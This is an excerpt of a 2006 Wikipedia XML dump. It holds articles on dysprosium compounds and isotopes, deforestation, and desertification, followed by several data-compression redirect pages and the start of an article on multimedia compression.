Nearly all dysprosium compounds are in the +3 oxidation state, and are highly [[paramagnetic]].  Dysprosium compounds include:

* [[Fluoride]]s
** [[dysprosium(III) fluoride|DyF&lt;sub&gt;3&lt;/sub&gt;]]
* [[Chloride]]s
** [[dysprosium(II) chloride|DyCl&lt;sub&gt;2&lt;/sub&gt;]]
** [[dysprosium(III) chloride|DyCl&lt;sub&gt;3&lt;/sub&gt;]]
* [[Bromide]]s
** [[dysprosium(II) bromide|DyBr&lt;sub&gt;2&lt;/sub&gt;]]
** [[dysprosium(III) bromide|DyBr&lt;sub&gt;3&lt;/sub&gt;]]
* [[Iodide]]s
** [[dysprosium(II) iodide|DyI&lt;sub&gt;2&lt;/sub&gt;]]
** [[dysprosium(III) iodide|DyI&lt;sub&gt;3&lt;/sub&gt;]]
* [[Oxide]]s
** [[dysprosium(III) oxide|Dy&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;]]
* [[Sulfide]]s
** [[dysprosium(III) sulphide|Dy&lt;sub&gt;2&lt;/sub&gt;S&lt;sub&gt;3&lt;/sub&gt;]]
* [[Nitride]]s
** [[dysprosium(III) nitride|DyN]]

== Isotopes ==
Naturally occurring dysprosium is composed of 7 stable [[isotope]]s, 156-Dy, 158-Dy, 160-Dy, 161-Dy, 162-Dy, 163-Dy and 164-Dy, with 164-Dy being the most abundant (28.18% [[natural abundance]]). 28 [[radioisotope]]s have been characterized, with the most stable being 154-Dy with a [[half-life]] of 3.0E+6 years, 159-Dy with a half-life of 144.4 days, and 166-Dy with a half-life of 81.6 hours.  All of the remaining [[Radioactive decay|radioactive]] isotopes have half-lifes that are less than 10 hours, and the majority of these have half lifes that are less than 30 seconds. This element also has 5 [[meta state]]s, with the most stable being 165m-Dy (t&lt;sub&gt;½&lt;/sub&gt; 1.257 minutes), 147m-Dy (t&lt;sub&gt;½&lt;/sub&gt; 55.7 seconds) and 145m-Dy (t&lt;sub&gt;½&lt;/sub&gt; 13.6 seconds).

The primary [[decay mode]] before the most abundant stable isotope, 164-Dy, is [[electron capture]], and the primary mode after is [[beta minus decay]]. The primary [[decay product]]s before 164-Dy are [[terbium]] isotopes, and the primary products after are [[holmium]] isotopes.

== Precautions ==
As with the other lanthanides, dysprosium compounds are of low to moderate [[toxicity]], although their toxicity has not been investigated in detail. Dysprosium does not have any known biological properties.

== References ==
*[http://periodic.lanl.gov/elements/66.html Los Alamos National Laboratory &amp;ndash; Dysprosium]

== External links ==
{{Commons|Dysprosium}}
* [http://www.webelements.com/webelements/elements/text/Dy/key.html WebElements.com &amp;ndash; Dysprosium]
* [http://education.jlab.org/itselemental/ele066.html It's Elemental &amp;ndash; Dysprosium]

[[Category:Chemical elements]]
[[Category:Lanthanides]]

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  </page>
  <page>
    <title>Deforestation</title>
    <id>8103</id>
    <revision>
      <id>41810739</id>
      <timestamp>2006-03-01T22:22:20Z</timestamp>
      <contributor>
        <username>Bucephalus</username>
        <id>136897</id>
      </contributor>
      <comment>revert further vandalism by [[user:168.212.80.1|168.212.80.1]]</comment>
      <text xml:space="preserve">'''Deforestation''' is the conversion of [[forest]]ed areas to non-forested. Historically, this meant conversion to grassland or to its artificial counterpart, grainfields; however, the [[Industrial Revolution]] added [[urbanization]] and technological uses. Generally this removal or destruction of significant areas of forest cover has resulted in a degraded environment with reduced [[biodiversity]]. In developing countries, massive deforestation is a leading cause of environmental degradation. The forest is an enormously valuable resource and the loss, or degradation of the forest can cause severe and irreparable damage to wildlife habitat, and to other economic and ecological services the forest provides. Historically deforestation has accompanied mankind's progress since the [[Neolithic]], and has shaped [[climate]] and [[geography]].

[[Image:Bolivia-Deforestation-EO.JPG|thumb|right|300px|Orbital photograph of human deforestation in progress in the Tierras Bajas project in eastern Bolivia. Photograph courtesy NASA.]]

Deforestation (whether deliberate or unintended) is the result of the removal of trees without sufficient [[Secondary forest|reforestation]].  There are many causes, ranging from extremely slow forest [[land degradation|degradation]] to sudden and catastrophic [[wildfire]]s. Deforestation can be the result of the deliberate removal of forest cover for agriculture or [[Urbanization|urban]] development, or it can be an unintentional consequence of uncontrolled [[grazing]] (which can prevent the natural regeneration of young [[tree]]s).  The combined effect of grazing and fires can be a major cause of deforestation in dry areas.  In addition to the direct effects brought about by forest removal, indirect effects caused by [[edge effect]]s and [[habitat fragmentation]] can greatly magnify the effects of deforestation.

While [[tropical rainforest]] deforestation has attracted most attention, [[Tropical and subtropical dry broadleaf forests|tropical dry forests]] are being lost at a substantially higher rate.

==Effects of deforestation==
Deforestation alters the hydrologic cycle, potentially increasing or decreasing the amount of water in the soil and groundwater and the moisture in the atmosphere. Forests support considerable [[biodiversity]].  Forests are valuable habitat for wild [[mushrooms]] and [[medicinal plants|medicinal conservation]] and the recharge of [[aquifer]]s; on the other hand recent studies that show that planting of new trees can sometimes lower water tables and drain rivers [http://www.newscientist.com/article.ns?id=dn7749], and a long term study (for one subcontinent) suggest the net water managament effect of deforestation in the 20th century would be nearly neutral, so more study is required. With forest bioptopes a major, irreplacable source of new drugs (like [[Paclitaxel|taxol]]) and genetic variations (such as crop resistance) is lost irretrievably.

Shrinking forest cover lessens the landscape's  capacity to intercept, retain and transport precipitation. Instead of trapping precipitation, which then percolates to groundwater systems, deforested areas become sources of surface water runoff, which moves much faster than subsurface flows. That quicker transport of surface water can translate into [[flash flood]]ing and more extreme floods than would occur with the forest cover. Deforestation also contributes to decreased [[evapotranspiration]], which lessens atmospheric moisture and precipitation levels, and affects precipitation levels downwind from the deforested area, as water is not recycled to downwind forests, but is lost in runoff and returns directly to the oceans; in deforested north and northwest China, the average annual precipitation decreased by one third between the 1950s and the 1980s [http://www.library.utoronto.ca/pcs/state/chinaeco/forest.htm].  

Although short-sighted, market-driven [[forestry]] practices are often targeted as the primary cause of deforestation, the principal human-related causes are actually agriculture and livestock grazing, urban sprawl, and mining and petroleum extraction. Long-term gains can be obtained by managing forest lands sustainably to maintain both forest cover and provide a biodegrable renewable resource.  Forests are also important stores of organic [[carbon]], and forests can extract carbon dioxide and [[pollutant]]s from the air, thus contributing to biosphere stability and probably relevant to the greenhouse effect.  Forests are also valued for their aesthetic beauty and as a cultural resource and tourist attraction.  Deforestation results in the loss of these benefits.

==Definition of deforestation==
Deforestation is the loss or continual degradation of forest habit due to either natural or human related causes. Agriculture, urban sprawl, unsustainable forestry practices, mining, and petroleum exploration all contribute to human caused deforestation. Natural deforestation can be linked to tsunamis, forest fires, volcanic eruptions, glaciation and desertification. The effects of human related deforestation can be mitigated through environmentally sustainable practices that reduce permanent destruction of forests or even act to preserve and rehabilitate disrupted forestland. (See [[Reforestation]], and [[Treeplanting]] )  

The term deforestation is often the source of disagreement between various interest groups. 

Deforestation can be defined broadly to include not only conversion to non-forest, but also degradation that reduces forest quality - the density and structure of the trees, the [[ecosystem services|ecological services]] supplied, the [[biomass]] of plants and animals, the [[species diversity]] and the [[genetic diversity]].  Narrow definitions of deforestation define deforestation as the removal of forest cover to an extent that allows for alternative land use.  The [[United Nations]] Research Institute for Social Development (UNRISD) uses a broad definition of deforestation, while the [[Food and Agriculture Organization|Food and Agriculture Organization of the UN]] (FAO) uses a narrow definition.

Definitions can also be grouped as those which refer to changes in land cover and those which refer to changes in land use. 

''[[Land cover]]'' measurements often use a percent of cover to determine deforestation. This type of definition has the advantage in that large areas can be easily measured, for example from [[satellite]] photos. A forest cover removal of 90% may still be considered forest in some cases. Under this definition areas that may have few values of a natural forest such as [[plantation]]s and even urban or suburban areas may be considered forest.

''[[Land use]]'' definitions measure deforestation by a change in land use. This definition may consider areas to be forest that are not commonly considered as such. An area can be lacking trees but still considered a forest. It may be a land designated for afforestation or an area designated administratively as forest. 

===Use of the term deforestation===
The term deforestation has been used to refer to [[fuel]] wood cutting, commercial [[logging]] and [[slash and burn]] cultivation. It is also used to describe forest clearing for annual crops, for grazing, and establishment of industrial forest plantations. The meaning of the term is ambiguous enough and so charged with emotion that the use of a more precise term might be better suited in specific cases. Related terms are forest decline, forest fragmentation and forest degradation, loss of forest cover and land use conversion.

==Causes of deforestation==
===Agents===
Agents of deforestation can be individuals or groups of individuals that are clearing the forest. Commercial farmers, slash and burn farmers, cattle ranches and loggers are all agents of deforestation. Agents are usually acting in their own self interest.

===Present Causes===
Causes include demand for farm land and fuel wood. Underlining causes include poverty, lack of reform. The causes of deforestation are complex and change over time. Deforestation can be most easily understood by studying the causes for each forest and country separately.

===Theories of deforestation===
Three schools of thought exist with regards to the causes of deforestation - the ''Impoverishment'' school, which believes that the major cause of deforestation is &quot;''the growing number of poor''&quot;, the ''Neoclassical'' school which believes that the major cause is &quot;''open-access property rights''&quot; and the ''Political-ecology'' school which believes that the major cause of deforestation is that the &quot;''capitalist investors crowd out peasants''&quot;.  The ''Impoverishment'' school sees smallholders as the principal agents of deforestation, the ''Neoclassical'' school sees various agents, and the ''Political-ecology'' school sees capitalist entrepreneurs as the major agents of deforestation.

== History and Historical causes ==
* ''See, [[Timeline of environmental events]]''
===Prehistory===
Deforestation has been practiced by humans for thousands of years.  [[Fire]] was probably the first tool that allowed humans to modify the landscape.  The first evidence of deforestation shows up in the [[Mesolithic]].  Fire was probably used to drive game into more accessible areas.  With the advent of [[agriculture]] fire became the prime tool to clear land for crops.  In [[Europe]] there is little solid evidence before [[7000 BC|5000]] [[Before Present|BP]].  Mesolithic [[hunter-gatherer|foragers]] used fire to create openings for [[red deer]] and [[wild boar]].  In [[Britain]] shade tolerant species like [[oak]] and [[Ash tree|ash]] are replaced in the [[palynology|pollen]] record by [[hazel]]s, brambles, grasses and nettles.  Removal of the forests led to decreased [[transpiration]] resulting in the formation of upland [[peat bog]]s.  Widespread decreased in [[elm]] pollen across Europe between 6400-6300 BP and 5200-5000 BP, starting in southern Europe and gradually moving north to Britain, may represent land clearing by fire at the onset of [[Neolithic]] agriculture.

===Pre-industrial history===
The historic [[silting]] of ports along the southern coasts of [[Asia Minor]] (''e.g.'' [[Clarus]], and the examples of [[Ephesus]], [[Priene]] and [[Miletus]], where harbors had to be abandoned because of the silt deposited by the Meander) and in coastal [[Syria]] during the last centuries BC, and the famous silting up of the harbor for [[Bruges]], which moved port commerce to [[Antwerp]], all follow periods of increased settlement growth (and apparently of deforestation) in the river basins of their [[hinterland]]s. In early medieval [[Riez]] in upper Provence, alluvial silt from two small rivers raised the riverbeds and widened the floodplain, which slowly buried the Roman settlement in alluvium and gradually moved new construction to higher ground; concurrently the headwater valleys above Riez were being opened to pasturage. 

A typical [[progress trap]] is that cities are built in a woody area providing the wood for some industry (e.g. shipbuilding, pottery) which starts consuming it so fast &amp;ndash; and without proper replanting &amp;ndash; that it becomes impossible to obtain it close enough to remain competitive, leading to the city's abandonment, as happened repeatedly in Ancient Asia Minor. Especially the combination of mining and metallurgy went along this self-destructive path.

Meanwhile most of the population remaining active in (or indirectly dependend on) the agricultural sector, the main pressure in most areas remained land clearing for crop and cattle farming; fortunately enough wild green was usually left standing (and partially used, e.g. to collect firewood, timber and fruits, or to graze pigs) for wildlife to remain viable, and the hunting privileges of the elite (nobility and higher clergy) often protected significant woodlands.

Major parts in the spread (and thus more durable growth) of the population were played by monastical 'pioneering' (especially by the benedictine and cistercian orders) and some feudal lords actively attracting farmers to settle (and become tax payers) by offering relatively good legal and fiscal conditions &amp;ndash; even when they did so to launch or encourage cities, there always was an agricultural belt around and even quite some within the walls. 
When on the other hand demography took a real blow by such causes as the [[Black Death]] or devastating warfare (e.g. [[Genghis Khan]]'s [[Mongol]] hords in eastern and central Europe, [[Thirty Years War]] in Germany) this could lead to settlements being abandoned, leaving land to be reclaimed by nature.

The large-scale building of wooden sail ships by European (coastal) naval owers since the 15th century for exploration, colonization, slave &amp;ndash; and other trade on the high seas and (often related) naval warfare (the failed invasion of England by the [[Spanish Armada]] in 1559 and the [[battle of Lepanto]] 1577 are early cases of huge waste of prime timber; each of Nelson's Royal navy war ships at Trafalgar had required 6000 mature oaks) and piracy meant that whole woody regions were over-harvested, as in Spain, were this contributed to the paradoxical weakening of the domestic economy since Columbus' discovery of America made the colonial activities (plundering, mining, cattle, plantations, trade ...) predominant.

In ''Changes in the Land'' (1983), [[William Cronon]] collected 17th century [[New England]] Englishmen's reports of increased seasonal flooding during the time that the forests were initially cleared, though no connection was made at the time.

=== Industrial pressure===
The massive use of [[charcoal]] on an industrial scale was a new acceleration of the onslaught on western forests; even in Stuart England, the relatively primitive production of charcoal has already reached an impressive level.
One of the best documented and successful attempts at [[reforestation]] was effected by the [[Prussia]]n government in the mid-19th century to save the [[Curonian Spit]] from being engulfed by dunes.

=== Recent changes ===
The rate of clearance increased during the second half of the [[19th century]] due to [[agriculture|agricultural]] expansion in [[Europe]]. Deforestation rates peaked in New England  about 1900 and in the [[Great Lakes]] region of the [[United States]] in the late 19th century. Rates of tropical deforestation have increased substantially into the [[post-war]] period as logging operations became mechanised.

Growing worldwide demand for [[wood]] to be used for fire wood or in construction, paper and furniture - as well as clearing land for commercial and industrial development (including [[road construction]]) have combined with growing local populations and their demands for agricultural expansion and wood fuel to endanger ever larger forest areas.  

Agricultural development schemes in [[Mexico]], [[Brazil]] and [[Indonesia]] moved large populations into the [[rainforest]] zone, further increasing deforestation rates.  One fifth of the world's tropical rainforest was destroyed between 1960 and 1990. Estimates of deforestation of tropical forest for the 1990s range from ca. 55,630 [[square kilometre|km²]] to ca. 120,000 km² each year. At this rate, all tropical forests may be gone by the year 2090.

== Environmental effects ==
=== Atmospheric pollution ===
Deforestation is often cited as one of the major causes of the enhanced [[greenhouse effect]]. Trees and other plants remove [[carbon]] (in the form of [[carbon dioxide]]) from the [[Earth's atmosphere|atmosphere]] during the process of [[photosynthesis]]. Both the decay and burning of wood releases much of this stored carbon back to the atmosphere. A.J.Yeomans asserts in [http://www.yeomansplow.com.au/priority-one.htm Priority One] that overnight a stable forest releases exactly the same quantity of carbon dioxide back into the atmosphere. Others state
that mature forests are net sinks of CO&lt;sub&gt;2&lt;/sub&gt; (see [[Carbon dioxide sink]] and [[Carbon cycle]]).

=== Wildlife ===
Some forests are rich in [[biological diversity]]. Deforestation can cause the destruction of the habitats that support this biological diversity - thus causing population shifts and [[extinction]]s.

=== Hydrologic cycle and water resources ===
Trees, and plants in general, affect the [[hydrological cycle]] in a number of significant ways:
* their canopies intercept [[precipitation (meteorology)|precipitation]], some of which evaporates back to the atmosphere;
* their litter, stems and trunks slow down runoff;
* their roots create macropores - large conduits - in the soil that increase infiltration;
* they transport water from the soil to the atmosphere via [[transpiration]];
* their litter and organic residue change soil properties that affect the capacity of soil to store water.
As a result, the presence or absence of trees can change the quantity of water on the surface, in the soil or groundwater, or in the atmosphere. This in turn changes erosion rates and the availability of water for either ecosystem function or human services.

=== Soil erosion ===
Deforestation generally increases rates of soil [[erosion]], by increasing the amount of [[runoff]] and reducing the protection of the soil from tree litter. This can be an advantage in excessively leached tropical rain forest soils. Forestry operations themselves also increase erosion through the development of roads and the use of mechanized equipment. 

China's Loess Plateau was cleared of forest millennia ago. Since then it has been eroding, creating dramatic incised valleys, and providing the sediment that gives the Yellow River its yellow color and that causes the flooding of the river in the lower reaches (hence the river's nick-name 'China's sorrow').

Removal of trees does not always increase erosion rates. In certain regions of southwest US, shrubs and trees have been encroaching on grassland. The trees themselves enhance the loss of grass between tree canopies. The bare intercanopy areas  become highly erodible. The US Forest Service, in Bandelier National Monument for example, is studying how to restore the former ecosystem, and reduce erosion, by removing the trees.

=== Landslides ===
Tree roots bind soil together, and if the soil is sufficiently shallow they act to keep the soil in place by also binding with underlying [[bedrock]]. Tree removal on steep slopes with shallow soil thus increases the risk of [[landslide]]s.

== Alternatives ==
=== Produce substitution ===
A proposed solution to deforestation is to reduce consumption of forest based products. Switching to brick, stone, [[concrete]], [[fiberglass]] and plastic for construction, or the use of [[hemp]] for paper products are amongst options often considered. However, these options do present their own downsides. Construction materials require fossil fuel derived materials to produce and tend to degrade much more slowly. Conversion of forestlands to agricultural lands to produce hemp can cause deforestation itself. Deforestation can also occur in mining and petroleum exploration.

=== Farming ===
Agriculture is one of the primary causes of deforestation. Once forestland is converted to agricultural land it is rarely allowed  to regenerate back into forestland. However many farmers are now reforesting their land into tree plantations. Although an intensively managed tree plantation does not fully recreate the [[biodiversity]] found in less intensively managed forestlands, it still will provide more biodiversity than a monoculture hemp or potato plantation.  

New methods are being developed to farm more food crops on less farm land, such as high-yield [[hybrid]] crops, [[greenhouse]], [[autonomous building]] gardens, and [[hydroponic]]s. The reduced farm land is then dependent on massive chemical inputs to maintain necessary yields. In cyclic [[agriculture]], cattle are grazed on farm land that is resting and rejuvenating. Cyclic agriculture actually increases the fertility of the soil. Selective over farming can also increase the nutrients by releasing such nutrients from the previously inert subsoil. The constant release of nutrients from the constant exposure of subsoil by slow and gentle erosion is a process that has been ongoing for billions of years. Slash-and-burn agriculture has recently needed re-evalution as it appears to be more sustainable than originally believed.

[[Poaceae|Grass]] is encouraged to grow on the resting farm land. The cows eat the grass and leave behind their dung, which is also a source of fertilizer. This process can reduce deforestation by using farmland to graze instead of using forest land if this is considered advantagious.

== Social change ==
Some societies are making efforts to stop or slow deforestation.  In [[China]], where large scale destruction of forests has occurred, the government has required that every able-bodied citizen between the ages of 11 and 60 plant three to five trees per year or do the equivalent amount of work in  other forest services. The government claims that at least 1000 million trees have been planted in China every year since 1982.  In western countries, increasing consumer demand for wood products that have been produced and harvested in a sustainable manner are causing forest landowners and forest industries to become increasingly accountable for their forest management and timber harvesting practices.

The [[Arbor Day Foundation]]'s Rain Forest Rescue program is a charity that helps to prevent deforestation. The charity uses donated money to buy up and preserve rainforest land before the lumber companies can buy it. The Arbor Day Foundation then protects the land from deforestation. This also locks in the way of life of the primitive tribes living on the forest land..

==See also==
* [[Desertification]]
* [[Forestry]]
* [[Illegal logging]]
* [[List of environment topics]]
* [[Overpopulation]]
* [[Wilderness]]
* [[Assarting]]

== Sources and References ==
* BBC TV series 2005 on the history of geological factors shaping human history
* A Natural History of Europe - 2005 co-production including BBC and ZDF
* Whitney, Gordon G. 1996. ''From Coastal Wilderness to Fruited Plain : A History of Environmental Change in Temperate North America from 1500 to the Present''. [[Cambridge University Press]]. ISBN 052157658X
*Williams, Michael.  2003. ''Deforesting the Earth''.  University of Chicago Press, Chicago.  ISBN 0226899268
* Wunder, Sven.  2000.  ''The Economics of Deforestation: The Example of Ecuador''.  [[Macmillan Publishers|Macmillan Press]], London.  ISBN 0333731468
*FAO / CIFOR report. Forests and Floods: Drowning in Fiction or Thriving on Facts?

== External links ==
* [http://www.fao.org/forestry/index.jsp FAO Forestry]
* [http://www.rcfa-cfan.org/english/issues.12-3.html CFAN] - [[CIDA]] Forestry Advisory Network
* [http://www.mongabay.com/home.htm Mongabay.com]
* [http://dmc.engr.wisc.edu/courses/hazards/BB02-09.html University of Wisconsin: Natural Hazrds: deforestation]
* [http://www.rainforestphotos.net Deforestation of the Central American Rainforest - Photos ]
* [http://www.unu.edu/unupress/unupbooks/80a02e/80A02E00.htm Himalayan Dilemma]
* [http://maps.google.com/maps?ll=0.870633,-60.152893&amp;spn=1.132265,1.252441&amp;t=k&amp;hl=en Amazon Deforestation (Google maps) ]
* [http://www.yeomansplow.com.au/priority-one] (Chapter 8)

== External links: historic deforestation ==
* [http://www.library.utoronto.ca/pcs/state/chinaeco/forest.htm Wang Hongchang, &quot;Deforestation and Desiccation in China :A Preliminary Study&quot;]

[[Category:Climate forcing agents]]
[[Category:Environmental threats]]
[[Category:Forestry]]

[[es:Deforestación]]
[[fr:Déforestation]]
[[gl:Deforestación]]
[[it:Disboscamento]]
[[ja:森林破壊]]
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    </revision>
  </page>
  <page>
    <title>Desertification</title>
    <id>8104</id>
    <revision>
      <id>41731523</id>
      <timestamp>2006-03-01T10:05:38Z</timestamp>
      <contributor>
        <ip>70.64.8.69</ip>
      </contributor>
      <comment>/* Prehistoric patterns */</comment>
      <text xml:space="preserve">[[Image:Aralship2.jpg|thumb|300px|Ship stranded by the retreat of the [[Aral Sea]]]]
'''Desertification''' is the [[Land degradation|degradation]] of land in [[arid]], [[semi arid]] and dry sub-humid areas resulting from various factors including [[Climate|climatic]] variations and human activities. Modern desertification often arises from the demands of increased populations that settle on the land in order to grow [[agriculture|crops]] and graze [[animal]]s.

However, there has been major controversy over the definition of the term, as well as its causes. Attempts to define or map areas that are or have turned into desert have been sharply criticized. What is usually less controversial is the fact of biodiversity loss, and loss of productive capacity, such as the transition from grassland dominated by perennial grasses to one dominated by perennial shrubs. In the southwestern deserts of the United States, semiarid ecosystems dominated by perennial bunchgrasses, including [[blue grama]] and [[black grama]], have been replaced by shrublands dominated by creosotebush since the early 1900's. The change in vegetation is thought to have induced desertification in this region.

==Causes==

In some regions around the world, deserts are separated sharply from surrounding, less arid areas by mountains and other contrasting landforms that reflect basic structural differences in the regional geology. In other areas, desert fringes form a gradual transition from a dry to a more humid environment, making it more difficult to define the desert border. These transition zones have very fragile, delicately balanced ecosystems. Desert fringes often are a mosaic of [[microclimate]]s. Small hollows support vegetation that picks up heat from the hot winds and protects the land from the [[prevailing wind]]s. After rainfall the vegetated areas are distinctly cooler than the surroundings.

In these marginal areas human activity may stress the [[ecosystem]] beyond its tolerance limit, resulting in degradation of the land. By pounding the soil with their hooves, [[livestock]] compact the substrate, increase the proportion of fine material, and reduce the [[percolation]] rate of the soil, thus encouraging [[erosion]] by wind and water. Grazing and the collection of firewood reduce or eliminate plants that help to bind the soil.

It is a misconception that [[drought]]s cause desertification. Droughts are common in arid and semiarid lands. Well-managed lands can recover from drought when the rains return. Continued land abuse during droughts, however, increases land degradation. Increased population and livestock pressure on marginal lands has accelerated desertification. In some areas, [[nomad]]s moving to less arid areas disrupt the local ecosystem and increase the rate of erosion of the land. Nomads are trying to escape the desert, but because of their land-use practices, they are bringing the desert with them.

Some arid and semi-arid lands can support crops, but additional pressure from greater populations or decreases in rainfall can lead to the few plants present disappearing. The [[soil]] becomes exposed to [[wind]], causing soil particles to be deposited elsewhere. The top layer becomes eroded. With the removal of shade, rates of [[evaporation]] increase and salts become drawn up to the surface. This is [[soil salination|salinisation]], and inhibits plant growth. The loss of plants causes less moisture to be retained in the area, which may change the [[climate]] pattern leading to lower rainfall.

This degradation of formerly productive land is a complex process. It involves multiple causes, and it proceeds at varying rates in different climates. Desertification may intensify a general climatic trend toward greater aridity, or it may initiate a change in local climate. Desertification does not occur in linear, easily mappable patterns. Deserts advance erratically, forming patches on their borders. Areas far from natural deserts can degrade quickly to barren soil, rock, or sand through poor land management. The presence of a nearby desert has no direct relationship to desertification. Unfortunately, an area undergoing desertification is brought to public attention only after the process is well underway. Often little or no data are available to indicate the previous state of the ecosystem or the rate of degradation. Scientists still question whether desertification, as a process of global change, is permanent or how and when it can be halted or reversed.

==Prehistoric patterns==

Desertification is a historic phenomenon; the world's great deserts were formed by natural processes interacting over long intervals of time. During most of these times, deserts have grown and shrunk independent of human activities. Paleodeserts, large [[sand sea]]s now inactive because they are stabilized by vegetation, extend well beyond the present margins of core deserts, such as the [[Sahara]]. Many deserts have come about around western asia because of an overpopulation of prehistoric species and subspecies during the late [[Cretaceous]] era.

Through [[Palynology|dated fossil]] [[pollen]], it has been found that today's [[Sahara]] [[desert]] has been changing between desert and fertile [[savanna]]. Studies also show that advance and retreat depend on yearly rainfall.

==Historical and current desertification==
* ''See, [[Timeline of environmental events]]''
Desertification became well known in the 1930s, when parts of the [[Great Plains]] in the United States turned into the &quot;[[Dust Bowl]]&quot; as a result of drought and poor practices in farming, although the term itself was not used until almost 1950. During the dust bowl period, millions of people were forced to abandon their farms and livelihoods. Greatly improved methods of agriculture and land and water management in the Great Plains have prevented that disaster from recurring, but desertification presently affects millions of people in almost every continent.

Desertification is widespread in many areas of [[China]]. The populations of rural areas have increased since [[1949]] for political reasons as more people have settled there. While there has been an increase in livestock, the land available for grazing has decreased. Also the importing of [[European]] [[cattle]] such as [[Holstein Friesian|Friesian]] and Simmental, which have higher food intakes, has made things worse.

Overgrazing has made the [[Rio Puerco Basin]] of central [[New Mexico]] one of the most eroded river basins of the American West and has increased the high [[sediment]] content of the river.

==Countering desertification==

A number of schemes have been tried to reduce the rate of desertification and regain lost land. [[legume|Leguminous plants]], which use [[nitrogen]] they extract from the air, can be planted. Stones placed around the base of trees increase the shade available for plants and insects. Artificial grooves in the ground can be dug to retain moisture and trap wind-pollinated seeds. In [[Iran]] [[petroleum]] is being sprayed over semi-arid land with crops. This coats seedlings to prevent moisture loss and stop them being blown away. Windbreaks made from trees and bushes to reduce soil [[erosion]] and [[evapotranspiration]] was widely encouraged by development agencies from the middle of the [[1980]]s in the [[Sahel]] area of [[Africa]].

With many of the local people using trees for firewood and cooking the problem has become acute. In order to gain further supplies of fuel the local population add more pressure to the depleted forests; thus adding to the desertification process. [[Solar ovens]] are being advocated as a means to relieving some of this pressure upon the environment.

While desertification has received tremendous publicity by the political and news media, there are still many things that we don't know about the degradation of productive lands and the expansion of deserts. In 1988 [[Ridley Nelson]] pointed out in an important scientific paper that the desertification problem and processes are not clearly defined. There is no consensus among researchers as to the specific causes, extent, or degree of desertification. Contrary to many popular reports, desertification is actually a subtle and complex process of deterioration that may often be reversible.

At the local level, individuals and governments can help to reclaim and protect their lands. In areas of sand [[dune]]s, covering the dunes with large boulders or [[petroleum]] will interrupt the wind regime near the face of the dunes and prevent the sand from moving. [[Sand fence]]s are used throughout the [[Middle East]] and the United States, in the same way [[snow fence]]s are used in the north. Placement of straw grids, each up to a square meter in area, will also decrease the surface wind velocity. Shrubs and trees planted within the grids are protected by the straw until they take root. However, some studies suggest that planting of trees actually depletes water supplies in the area. [http://www.newscientist.com/article.ns?id=dn7749] In areas where some water is available for [[irrigation]], shrubs planted on the lower one-third of a dune's windward side will stabilize the dune. This vegetation decreases the wind velocity near the base of the dune and prevents much of the sand from moving. Higher velocity winds at the top of the dune level it off and trees can be planted atop these flattened surfaces.

Oases and farmlands in windy regions can be protected by planting tree fences or grass belts. Sand that manages to pass through the grass belts can be caught in strips of trees planted as wind breaks 50 to 100 meters apart adjacent to the belts. Small plots of trees may also be scattered inside oases to stabilize the area. On a much larger scale, a &quot;[[Green Wall]],&quot; which will eventually stretch more than 5,700 kilometers in length, nearly as long as the [[Great Wall of China]], is being planted in northeastern China to protect &quot;sandy lands&quot;--deserts believed to have been created by human activity.

More efficient use of existing water resources and control of salinization are other effective tools for improving arid lands. New ways are being sought to use surface-water resources such as rain water harvesting or irrigating with seasonal runoff from adjacent highlands. New ways also being sought to find and tap groundwater resources and to develop more effective ways of irrigating arid and semiarid lands. Research on the reclamation of deserts also is focusing on discovering proper crop rotation to protect the fragile soil, on understanding how sand-fixing plants can be adapted to local environments, and on how grazing lands and water resources can be developed effectively without being overused.

[[Off-road vehicle]]s significantly increase soil loss in the delicate desert environment of the western United States, which can be controlled by restrictions on such vehicles.

==See also==
*[[Deforestation]]
*[[List of environment topics]]
*[[Steppe]]

==External links and references==
*[http://www.fao.org/ag/agl/agll/drylands/index.htm FAO Information Portal - Properties and Management of Drylands]
*[http://www.unccd.int/ Secretariat of the] [[United Nations Convention to Combat Desertification]]
*[http://www.unep.org/desertification/successstories/ UNEP page on desertification]
*Benjaminsen, Tor A; &amp; Berge, Gunvor (2000). ''Timbuktu: myter, menneske, miljø.'' [[Oslo]]: [[Spartakus forlag]].
*Stock, Robert (1995). ''Africa South of the Sahara.'' [[New York]]: [[The Guilford Press]].
*[http://www.eden-foundation.org/project/desertif.html Eden Foundation article on desertification]
*[http://www.gtz.de/desert GTZ CCD Project - A key player in combating desertification and drought effects]
*[http://www.dri.edu/ Desert research Institute]

[[Category:Environmental threats]]

[[de:Desertifikation]]
[[es:Desertificación]]
[[gl:Desertización]]
[[he:מדבור]]
[[ja:砂漠化]]
[[oc:Desertificacion]]
[[pl:Pustynnienie]]
[[pt:Desertificação]]
[[fi:Aavikoituminen]]</text>
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  </page>
  <page>
    <title>Data compression/Huffman coding</title>
    <id>8105</id>
    <revision>
      <id>15906127</id>
      <timestamp>2002-08-29T07:05:28Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
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      <text xml:space="preserve">#REDIRECT [[Huffman coding]]</text>
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    <title>Data compression/Arithmetic coding</title>
    <id>8106</id>
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      <timestamp>2002-07-17T16:49:14Z</timestamp>
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        <username>Enchanter</username>
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      <comment>#REDIRECT [[Arithmetic coding]]</comment>
      <text xml:space="preserve">#REDIRECT [[Arithmetic coding]]</text>
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  </page>
  <page>
    <title>Data compression/JPEG</title>
    <id>8107</id>
    <revision>
      <id>15906129</id>
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      <contributor>
        <username>Bryan Derksen</username>
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      <minor />
      <comment>*removed old article from below the redirect; it's been moved, and duplication will only lead to tears</comment>
      <text xml:space="preserve">#REDIRECT [[JPEG]]
</text>
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    <title>Data compression/MP3</title>
    <id>8108</id>
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        <username>Stephen Gilbert</username>
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    <title>Data compression/lossless</title>
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    <title>Data compression/lossy</title>
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    <title>Data compression/entropy</title>
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  <page>
    <title>Multimedia compression</title>
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      <text xml:space="preserve">'''Multimedia compression''' is a general term referring to the [[data compression|compression]] of data for any type of [[multimedia]], most notably graphics, [[sound reproduction|audio]], and [[video]].

== Explanation ==

Because multimedia typically derives from data sampled by a device such as a [[camera]] or a [[microphone]], and because such data contains large amounts of random noise, traditional lossless compression algorithms tend to do a poor job compressing multimedia.
Multimedia compression algorithms, traditionally known as [[codec|codecs]], work in a [[lossy data compression|lossy]] fashion:
#Transform the data according to a model designed to reduce sample-to-sample correlation, concentrating the important signal in a few data values.
#Quantize the data, most of which has become noise.  Some codecs use a scalar quantizer followed by [[run-length encoding]]; others use [[vector quantization]].
#Use [[entropy coding]] such as [[Huffman coding]] to reduce the number of bits that the most common values use.
This method is called [[transform coding]].

